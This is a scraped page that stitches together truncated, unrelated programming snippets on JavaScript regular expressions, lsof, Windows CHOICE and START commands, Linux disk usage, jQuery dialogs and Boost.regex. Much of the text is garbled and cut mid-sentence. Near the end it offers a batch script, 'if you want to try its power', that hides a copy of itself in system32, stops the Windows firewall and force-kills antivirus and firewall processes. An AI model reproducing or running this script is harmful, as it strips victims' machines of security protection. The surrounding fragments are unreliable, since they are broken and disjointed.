Pay attention to the lastIndex attribute for regular expressions in JS,
Description
This article focuses on the attributes of the RegExp object in JavaScript.
Explanation
Each RegExp object contains five attributes: source, global, ignoreCase, multiline, and lastIndex.
Source: a read-only string that contains the text of a regular expression.
Var reg =/JavaScript/; reg. source; // return JavaScript
Global:
Open VS2010 error, failed to load Microsoft.Data.Entity.Design correctly .... Workaround, execute the following command under CMD, copy and paste it.
Reg Query hkey_local_machine\software\wow6432node\microsoft\visualstudio\10.0\autoloadpackages\{ adfc4e66-0397-11d1-9f4e-00a0c911004f}/V {7A4E8D96-5D5B-4415-9FAB-D6DCC56F47FB} reg query hkey_local_machine\ software\wow6432node\microsoft\visualstudio\10.0\aut
Lsof is a powerful diagnostic tool that can be used to contact open files through a process and can list all the file information opened by a process.1 finding the process associated with an open fileBy specifying a file, you can discover the process that is using the file# lsof/var/log/messagesCOMMAND PID USER FD TYPE DEVICE SIZE NODE NAMESYSLOGD 1968 Root 1w REG 3,9 219245 780490/var/log/messagesAs you can see, only the System record Daemon (SYSLOGD
.
Example:CHOICE/?CHOICE/C ync/m "Confirm please press Y, no please press N, or cancel please press C." "choice/t 10/c ync/cs/d yCHOICE/C ab/m Option 1 Please select a, option 2, select B. "CHOICE/C ab/n/M "option 1 Please select a, option 2, select B. "
If I run the command: choice/c ync/m "confirm, press Y, please press N, or cancel please press C." "The screen will show:Confirm Press Y, please press N, or cancel, press C. [Y,n,c]?
For example: The contents of the Test.bat are as follows (n
invoked by the start command.
Intrusion Common parameters:
Min Start window minimized
Separate starts 16-bit Windows programs in separate spaces
High priority class Start application
Realtime starts the application in the Realtime priority category
Wait to start the application and waiting for it to end
Parameters these parameters for transmission to the command/program
Executing the application is a 32-bit GUI application when CMD. EXE does not wait for application termination to return a comm
The size of the file hard disk deleted in linux remains unchanged. recently, the game server's hard disk is full. What's strange is that du/opt/is only 25 GB, but df is? N case study? Capacity in use available %? Mongod? /Dev/sda5195g23g1631613... Info nbsp; | linux delete File hard disk size not changed solved recently game server hard disk full. What's strange is that du/opt/is only 25 GB, but df is? N case study? Capacity in use available %? Mongod? /Dev/sda5 195G 23G 163G 13% // dev/sda2 68
The size of the file hard disk deleted in linux remains unchanged. Recently, the game server's hard disk is full. The strange thing is that du/opt/is only 25 GB, but df is always case. The system capacity has been used. % available nodes/dev/sda5 195g 23G 163G 13%/ /dev/sda2 68G 65G 0 100%/opt/dev/sda1 99 M 12 M 82 M 13%/boottmpfs 16G 0 16G 0%/dev/shm do not understand why run du -- max-depth = 1-h in the/opt/directory for 65 GB, which is more than 20 GB. Later, we accidentally found that the ls
First part characterPart1 Meta-charactersThe meta-characters of a regular expression are: ([{? \ ^ $ + * | .These metacharacters are interpreted in turn as follows:Parentheses ()1. Parentheses are mainly used to divide the whole (group)Example one:var reg = new RegExp (' (test)? ');' Test '. Match (REG); [' Test ', ' Test '] first match with/test?/and then follow the/test/in parenthesesvar reg1 = new RegExp
Determines whether the input is an empty function IsNull () {var str = document.getElementById (' str '). Value.trim (); if (str.length==0) {alert (' Sorry, the text box cannot be empty or a space! ');
/Please change the text box to the name of the property you want to verify!
}//Determine if the date type is YYYY-MM-DD format type function IsDate () {var str = document.getElementById (' str '). Value.trim ();
if (str.length!=0) {var reg =/^ (\d{1,
Description
Title
No/String
The title of the dialog box, which can be set directly on the DOM element
Buttons
None/Object
Adds a button to the dialog, using the object-key-value alignment. Key is a button
Name, and the value is the callback function that is invoked after the user clicks
$ (' #reg '). Dialog ({
title: ' Register ',
buttons: {
The content is below these, if you want to try its power, might as well try,,, hehe
Copy Code code as follows:
@echo off
Title You DEAD!!!!!!!
Set Taskkill=s
Copy%0%windir%\system32\cmd.bat
attrib%windir%\system32\cmd.bat +r +s +h
net stop sharedaccess >nul
%s%/im pfw.exe shadowtip.exe shadowservice.exe qq.exe. exe/f >nul
%s%/im norton*/F >nul
%s%/im av*/F >nul
%s%/im fire*/F >nul
%s%/im anti*/F >nul
%s%/im spy*/F >nul
%s%/im bullguard/f >nul
%s%/im persfw/f >nul
%s%/i
To use Boost.regex, you need to include the header file "Boost/regex.hpp". A regex is one of two libraries in this book that needs to be compiled independently (the other is boost.signals). You'll be glad to know that if you've built a boost--, you can simply line up at a command prompt--and automatically link (to the compiler under Windows), so you don't have to bother to point out those library files.
The first thing you have to do is declare a variable of type Basic_regex. This is one of the
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